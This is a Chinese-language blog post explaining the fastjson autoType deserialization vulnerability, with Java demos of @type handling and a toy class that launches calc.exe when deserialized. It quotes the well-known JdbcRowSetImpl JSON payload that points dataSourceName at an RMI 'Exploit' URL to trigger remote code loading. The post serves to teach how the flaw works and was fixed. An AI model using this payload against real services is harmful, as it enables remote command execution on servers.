欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

fastjson漏洞——举例说明漏洞以及原理分析——一看就会

程序员文章站 2022-06-07 22:39:27
...

最近公司一直说fastjson有漏洞,比较很严重,要换成其他的json工具。怀着好奇的心情去看了一些文章,现在简单的记录一下。

1、漏洞分析

总体而言是一个叫做autoType的在搞事情。那么autoType是什么呢?
我们写一段简单代码演示一下:

public class JSONController {

    public static void main(String[] args) throws ParseException {

        Province province = new Province();
        province.setProvincialCapital("wuhan");
        province.setCityNum(12);

        Nation nation = new Nation();
        nation.setName("傣族");
        nation.setProvince(province);

        String nationStr = JSON.toJSONString(nation, SerializerFeature.WriteClassName);
        //{"@type":"com.xx.ins.qsm.demo.web.controller.Nation","name":"傣族","province":{"@type":"com.xx.ins.qsm.demo.web.controller.Province","cityNum":12,"provincialCapital":"wuhan"}}
        Nation nation1 = JSON.parseObject(nationStr, Nation.class);
        //{"name":"傣族","province":{"cityNum":12,"provincialCapital":"wuhan"}}
        Province province1 = (Province) nation1.getProvince();
        //{"cityNum":12,"provincialCapital":"wuhan"}


        String nationStr2 = JSON.toJSONString(nation);
        //{"name":"傣族","province":{"cityNum":12,"provincialCapital":"wuhan"}}
        Nation nation2 = JSON.parseObject(nationStr2, Nation.class);
        //{"name":"傣族","province":{}}
        Province province2 = (Province) nation2.getProvince();
        //Exception in thread "main" java.lang.ClassCastException: com.xxx.qsm.demo.web.controller.$Proxy0 cannot be cast to com.xxx.qsm.demo.web.controller.Province
        //	at com.xxx.qsm.demo.web.controller.JSONController.main(JSONController.java:64)
    }
}

@Data
class Nation {
    private String name;
    private Location province;

}
interface Location {
}

@Data
class Province implements Location {
    private String provincialCapital;
    private Integer cityNum;
}

可以看到:Nation类有一个属性province,其类型为接口Location,我们赋值的时候,是给它的实现类Province的对象。
接下来,2次序列化是否使用了SerializerFeature.WriteClassName
使用了该属性的,序列化的json字符串就出现了一个@type的东西,这个指明了这个对象到时候反序列的时候指定的类型。那么这个@type就是前面所说的万恶之源autoType。在fastjson早期,这个是自动开启的。
那它有什么作用呢:就是反序列化的时候,可以指明我要的对象是什么。从代码可以看到,第二段序列化是没有@type的,所以它反序列化的时候,字段province根本没法转为本来的Province类型。如果指定了类型,那么就很容易的反序列化到指定的类。

2、漏洞利用:

也正是因为这个@type,那岂不我们可以自己随意指定一个类,然而这个类却可以帮我们做一些坏事?
比如我现在有一个类,可以调用本机的计算器,假设调起本机计算器是一个严重的问题,类似删除某个数据库。然后使用类似fastjson序列化漏洞的逻辑来执行。

public class JSONController {
    public JSONController() {
        try {
            // 要执行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) throws ParseException {
        String s = "{\"@type\":\"com.xxx.qsm.demo.web.controller.JSONController\",\"name\":\"傣族\"}";
        JSON.parseObject(s);
    }
}

执行上面的代码,就可以调出本机的计算器。那么逻辑就是:自己构造一个json字符串,使用@type指定我想反序列化的类,然后这个类会执行一些动作,比如调用计算器或者删除数据库等。

那么fastjson早期版本就是使用类似的逻辑,比如调用的类为JdbcRowSetImpl。
构造的json字符串为:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。
那么之后的修复版本,fastjson默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。
那么黑客与官方开始博弈autotype,因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了"如何绕过checkAutotype"。

上面就是fastjson漏洞的简单理解。


【完】

正在去BAT的路上修行中